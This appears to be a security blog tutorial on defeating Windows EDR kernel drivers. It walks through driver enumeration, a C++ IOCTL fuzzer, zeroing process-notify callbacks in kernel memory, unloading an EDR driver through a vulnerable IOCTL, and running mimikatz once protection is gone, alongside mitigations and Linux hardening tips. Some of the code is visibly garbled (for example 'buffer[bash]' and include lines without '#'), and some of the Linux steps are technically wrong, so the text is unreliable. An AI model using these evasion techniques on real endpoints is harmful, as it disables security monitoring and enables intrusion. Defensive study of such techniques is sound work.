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Introduction:
Endpoint Detection and Response (EDR) solutions rely heavily on kernel-mode drivers to monitor system calls, process creation, memory access, and network activity. However, security researchers have recently demonstrated multiple techniques to bypass EDR kernel callbacks, disable event tracing for Windows (ETW), and unload EDR drivers through vulnerable IOCTL handlers. Understanding these attack vectors is critical for defenders to harden their endpoints and validate detection coverage.
Learning Objectives:
- Understand how attackers abuse kernel-mode EDR components using IOCTL fuzzing and callback tampering.
- Learn to enumerate EDR kernel drivers, monitor their device objects, and detect suspicious IOCTL activity on Windows.
- Implement practical mitigation techniques including Driver Blocklist policies, Kernel PatchGuard validation, and event tracing integrity checks.
You Should Know:
- Enumerating and Analyzing EDR Kernel Drivers on Windows
Attackers first identify loaded EDR kernel drivers to locate potential vulnerabilities. Below are commands and scripts to enumerate drivers, extract their device names, and check for weak ACLs.
Step‑by‑step guide:
Use built-in Windows tools to list kernel drivers and filter for known EDR vendors. Then query device objects to find exposed IOCTL interfaces.
List all loaded kernel drivers with details
Get-WmiObject Win32_SystemDriver | Where-Object {$_.State -eq 'Running'} | Format-Table Name, DisplayName, PathName -AutoSize
Enumerate device objects using Sysinternals WinObj (command-line version)
winobj.exe /accepteula /d
Find driver object security descriptors using AccessChk
accesschk.exe -dv \Device\<EDRDeviceName>
For deeper analysis, use WinDbg in local kernel debugging mode:
Enable local kernel debugging bcdedit /set debug on bcdedit /set dbgsettings local reboot After reboot, attach WinDbg to local kernel Then list drivers: lm t n Find specific driver: lm m edr Dump driver object: dt nt!_DRIVER_OBJECT < address>
2. Fuzzing IOCTL Handlers for EDR Bypass
Many EDR drivers expose IOCTL (Input/Output Control) interfaces that allow user‑mode processes to communicate with the kernel. Improper input validation can lead to arbitrary memory read/write, DSE bypass, or driver unloading.
Step‑by‑step guide:
Build a simple IOCTL fuzzer in C++ to send malformed buffers to a target EDR device. Use the `DeviceIoControl` API with random control codes and data.
include <windows.h>
include <stdio.h>
include <stdlib.h>
include <time.h>
define IOCTL_SEND 0x9C402400 // Example – replace with extracted codes
int main() {
HANDLE hDevice = CreateFile(L"\\.\YourEDRDeviceName", GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device. Error: %d\n", GetLastError());
return 1;
}
srand(time(NULL));
DWORD bytesReturned;
for (int i = 0; i < 1000; i++) {
DWORD controlCode = rand() % 0x10000 + 0x9C400000;
BYTE buffer[bash];
for (int j = 0; j < sizeof(buffer); j++) buffer[bash] = rand() % 256;
BOOL result = DeviceIoControl(hDevice, controlCode, buffer, sizeof(buffer),
buffer, sizeof(buffer), &bytesReturned, NULL);
if (!result) {
printf("IOCTL 0x%x failed with error %d\n", controlCode, GetLastError());
} else {
printf("IOCTL 0x%x succeeded – possible vulnerability.\n", controlCode);
}
}
CloseHandle(hDevice);
return 0;
}
To extract valid IOCTL codes from an EDR driver, reverse engineer it using IDA Pro or Ghidra. Look for the `IRP_MJ_DEVICE_CONTROL` dispatch routine and the `IOCTL` codes in switch cases.
3. Disabling EDR Callbacks via Kernel Notification Tampering
EDR drivers register process, thread, and image load callbacks using PsSetCreateProcessNotifyRoutineEx, PsSetCreateThreadNotifyRoutine, and PsSetLoadImageNotifyRoutine. Attackers can overwrite the callback arrays in kernel memory to remove EDR entries.
Step‑by‑step guide:
This technique requires kernel code execution. A proof-of-concept for educational use:
// Locate callback arrays (offsets vary by Windows build) PVOID pCallbacks = (PVOID)((ULONG_PTR)PsSetCreateProcessNotifyRoutineEx + 0x20); // Overwrite EDR-specific callback with NULL RtlZeroMemory((PVOID)((ULONG_PTR)pCallbacks + edr_offset), sizeof(PVOID));
Detection: Monitor for changes to kernel callback structures using a kernel‑mode integrity checker or by periodically enumerating registered callbacks from a trusted driver. Use Sysinternals Autoruns to view image load callbacks:
Enumerate image load callbacks (requires Sysinternals) autorunsc64.exe -e -v
4. Unloading EDR Drivers Using Vulnerable IOCTLs
Some EDR drivers expose an IOCTL that calls `ZwUnloadDriver` without sufficient checks. An attacker who can send this IOCTL from a low‑privileged process can terminate the EDR entirely.
Step‑by‑step guide – exploiting a hypothetical vulnerable IOCTL:
// After finding IOCTL code 0x9C402100 that triggers driver unload HANDLE hDevice = CreateFile(L"\\.\VulnerableEDR", ...); DWORD junk = 0; DeviceIoControl(hDevice, 0x9C402100, NULL, 0, NULL, 0, &junk, NULL); // EDR driver disappears – system no longer protected
Mitigation:
Apply Microsoft’s recommended driver blocklist via `HVCI` (Hypervisor-protected Code Integrity) and use Windows Defender Application Control (WDAC) to allow only signed, known-good EDR drivers. Additionally, monitor for `Service Control Manager` events (Event ID 7045) that indicate driver unload attempts.
- Hardening Linux EDR Agents Against Kernel Module Tampering
While the original post focuses on Windows, Linux EDR agents using eBPF or kernel modules face similar risks. Attackers can remove eBPF programs or unload LSM hooks.
Step‑by‑step guide – protecting eBPF-based EDR on Linux:
List loaded eBPF programs and pin them to a protected BPF filesystem:
List all eBPF programs bpftool prog list Pin a critical EDR eBPF program to prevent accidental removal bpftool prog pin id 123 /sys/fs/bpf/edr_security Lock the pinned directory chattr +i /sys/fs/bpf/edr_security
Prevent kernel module unloading by removing the module’s `remove` file:
After loading your EDR kernel module modprobe edr_agent Override the remove handler (requires kernel rebuild or live patch) echo 0 > /sys/module/edr_agent/refcnt chattr +i /sys/module/edr_agent/refcnt
Monitor for module unloads using auditd:
auditctl -w /sys/module/ -p wa -k kernel_module_change ausearch -k kernel_module_change
- Simulating an EDR Bypass Attack – Complete Lab Walkthrough
Set up a safe test environment (Windows VM with an open-source EDR like Sysmon + custom driver). Perform the following steps to understand real-world tactics: -
Enumerate the EDR’s kernel device using `winobj` and
accesschk. - Fuzz the device using a Python script with `ctypes` to call `DeviceIoControl` with random codes.
- Identify a vulnerable IOCTL (e.g., one that allows arbitrary read/write or driver unload).
- Craft an exploit payload that sends that IOCTL from a non-admin user context.
- Verify that the EDR’s process monitoring stops (e.g., by running `mimikatz` after bypass).
- Remediate by updating the driver, enabling HVCI, and adding the driver to a blocklist.
What Undercode Say:
- No kernel component is invincible – EDR drivers written in C/C++ are prone to memory corruption and logic flaws. Regular fuzzing and code reviews are mandatory.
- Defense in depth still applies – Even if an attacker bypasses kernel callbacks, application control (WDAC), network isolation, and EDR’s user‑mode components can provide secondary detections.
- Visibility is key – Use Sysmon (Event ID 6 for driver load, 17 for named pipe events) and kernel‑mode ETW to catch IOCTL abuse and callback removal attempts.
The recent disclosures underscore a painful truth: EDR solutions are not silver bullets. Attackers are increasingly targeting the kernel because it offers the highest impact bypass. Blue teams must shift from trusting EDR telemetry to actively validating its integrity. Deploy kernel integrity monitoring (e.g., Microsoft’s Kernel Data Protection), enforce PatchGuard and HVCI on all endpoints, and conduct regular purple‑team exercises that simulate IOCTL fuzzing and callback tampering. Remember: the same kernel privileges that empower EDR also enable its downfall.
Prediction:
In the next 12–18 months, we will see a surge of exploit chains combining kernel‑mode EDR bypasses with user‑land privilege escalation (e.g., PrintNightmare‑style vulnerabilities). EDR vendors will rush to harden IOCTL interfaces, but legacy deployments will remain exposed. Microsoft may introduce a mandatory “Secure Kernel” mode for security products, similar to Apple’s System Extensions, deprecating third‑party kernel drivers altogether. Organizations that delay migrating to virtualization‑based security (VBS) and hardware‑enforced stack protection will face catastrophic breaches. The arms race in the kernel is only beginning.
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IT/Security Reporter URL:
Reported By: Thesecguy Securityresearch – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
